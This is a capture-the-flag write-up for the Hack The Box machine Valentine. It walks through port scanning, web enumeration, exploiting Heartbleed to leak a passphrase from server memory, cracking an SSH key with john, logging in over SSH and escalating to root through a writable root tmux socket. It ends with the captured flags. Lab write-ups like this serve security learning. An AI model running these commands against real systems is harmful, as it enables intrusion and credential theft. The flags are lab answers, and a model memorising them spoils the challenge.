Nmap Results
# Nmap 7.93 scan initiated Sat Apr 8 00:43:54 2023 as: nmap -Pn -p- --min-rate 10000 -A -oN scan.txt 10.10.10.79
Nmap scan report for 10.10.10.79
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 964c51423cba2249204d3eec90ccfd0e (DSA)
| 2048 46bf1fcc924f1da042b3d216a8583133 (RSA)
|_ 256 e62b2519cb7e54cb0ab9ac1698c67da9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_ssl-date: 2023-04-08T04:44:27+00:00; 0s from scanner time.
|_http-server-header: Apache/2.2.22 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/8%OT=22%CT=1%CU=39263%PV=Y%DS=2%DC=T%G=Y%TM=6430F12B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=8)OPS(
OS:O1=M53CST11NW4%O2=M53CST11NW4%O3=M53CNNT11NW4%O4=M53CST11NW4%O5=M53CST11
OS:NW4%O6=M53CST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)ECN(
OS:R=Y%DF=Y%T=40%W=3908%O=M53CNNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M53CST11NW4%RD=0
OS:%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 13.56 ms 10.10.14.1
2 13.64 ms 10.10.10.79
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 8 00:44:27 2023 -- 1 IP address (1 host up) scanned in 33.73 secondsService Enumeration
TCP/80
In the nmap output for TCP/443, the certificate has a CN of valentine.htb. I tested it as a virtual host, but there doesn't seem to be any noticeable difference when navigating using a hostname.
Gobuster Enumeration
gobuster dir -u http://10.10.10.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -r -t 100 -o gobuster.txt/index.php (Status: 200) [Size: 38]
/index (Status: 200) [Size: 38]
/dev (Status: 200) [Size: 1097]
/encode (Status: 200) [Size: 554]
/encode.php (Status: 200) [Size: 554]
/decode.php (Status: 200) [Size: 552]
/decode (Status: 200) [Size: 552]
/omg (Status: 200) [Size: 153356]/dev
To do item three and four are pretty interesting, sounds like encoding/decoding might be occurring server-side at this point.
I'm going to hang onto this hash and enumerate some more.
/encode, /decode
Upon first glance at the directory structure and the server responses, it looks like there are scripts at:
http://10.10.10.79/decode.phphttp://10.10.10.79/decode/decode.phphttp://10.10.10.79/decode/encode.phphttp://10.10.10.79/encode.phphttp://10.10.10.79/encode/encode.phphttp://10.10.10.79/encode/decode.php
What's really happening here is that the server is redirecting the client based on the directory. So, any file name under /decoder redirects to /decoder/decoder.php, and vice-versa for the /encoder directory.
I tried some different PHP payloads to see how the server parses the inputs, but it doesn't seem vulnerable to any kind of command injection or file inclusion at the moment. Time to enumerate some more.
/omg
TCP/443
More Enumeration
TCP/443 looks to be serving the same content as TCP/80. I re-ran a nmap scan on the open ports to enumerate some more.
sudo nmap -Pn -p80,443,22 --min-rate 10000 --script vuln 10.10.10.79This bit from the output stuck out to me:
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/Testing Heartbleed
Looking at the omg.jpg image during the initial enumeration, it's very clear that I should be focusing on the Heartbleed SSL/TLS vulnerability.
Heartbleed isn't a vulnerability in the web server itself. It's actually happening at the transport layer, where the server and client complete a handshake before sending data at the application layer.
This is a really nice write-up on the vulnerability here:
Scott Robinson
In short what's happening with this exploit is:
- We tell the server that we've sent
<num_bytes>of data - The server doesn't verify and processes the request
- Since the request is empty, nothing is processed in the memory of the server application
- Thus, when the server replies, the server returns data from memory that it otherwise shouldn't be reading
- Since the web server is the application running the OpenSSL stack, it's possible that sensitive information could be leaked from memory on the server
There are also some Heartbleed exploits on Exploit Database.
searchsploit -m 32764
This bit is very interesting:
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D B6 mV0aGVoeXBlCg==.That's very clearly a base64-encoded payload being send to the decode.php script on the server. It seems like we're getting some log data back in the Heartbleed response. Let's try and decode the data.
echo 'aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==' | base64 -d
Cracking the SSH Hash
echo 'heartbleedbelievethehype' > pass.txt
john --wordlist=pass.txt ssh-hash
The only problem here is we have a key, but don't have a username. We could try root or hype — since the filename on the web server is hype_key, but outside of that, we'd have to bruteforce with a username list.
I get an error when trying to SSH with the key: sign_and_send_pubkey.... I imagine it has something to do with the age of the box and outdated SSH ciphers. Time to Google for a workaround.
Looks like we can tack on an option with the SSH command:
ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ./ssh-key hype@10.10.10.79
And, we're in!
Exploit
A server vulnerable to the Heartbleed vulnerability leaked a password — which in combination with a SSH private key file — allows an attacker to authenticate to the SSH server running on the target.
At a minimum, Heartbleed is the vulnerability in need of most urgent patching. Beyond that, developers should ensure that sensitive folders are not globally readable, let alone storing SSH keys in web directories anyway.
Post-Exploit Enumeration
Operating Environment
OS & Kernel
Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)
Sorry, user hype may not run sudo on Valentine.
Users and Groups
Local Users
hype:x:1000:1000:Hemorrhage,,,:/home/hype:/bin/bash
Local Groups
cdrom:x:24:hype
dip:x:30:hype
plugdev:x:46:hype
hype:x:1000:
sambashare:x:124:hype
Network Configurations
Interfaces
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:50:56:b9:db:34 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.79/24 brd 10.10.10.255 scope global eth0
inet6 dead:beef::2932:bdef:12e3:8847/64 scope global temporary dynamic
valid_lft 86397sec preferred_lft 14397sec
inet6 dead:beef::250:56ff:feb9:db34/64 scope global dynamic
valid_lft 86397sec preferred_lft 14397sec
inet6 fe80::250:56ff:feb9:db34/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
Processes and Services
Interesting Processes
root 1022 0.0 0.1 26416 1684 ? Ss 09:30 0:06 /usr/bin/tmux -S /.devs/dev_sess
Interesting Files
/.devs/dev_sess
srw-rw---- 1 root hype 0 Apr 10 09:30 /.devs/dev_sess
Privilege Escalation
Looking at the enumeration of the running processes, the tmux session running as root under /.devs/dev_sess was clearly a clue.
root 1022 0.0 0.1 26416 1684 ? Ss 09:30 0:06 /usr/bin/tmux -S /.devs/dev_sessSo, I ran the exact same command in my hype session, since I clearly had rw privileges to that session file.
Nice! We're done here.
Flags
User
ec9421750d6906c0af16c5f961069b66
Root
bc7076be0bdc81d825e8c921b29a17ea
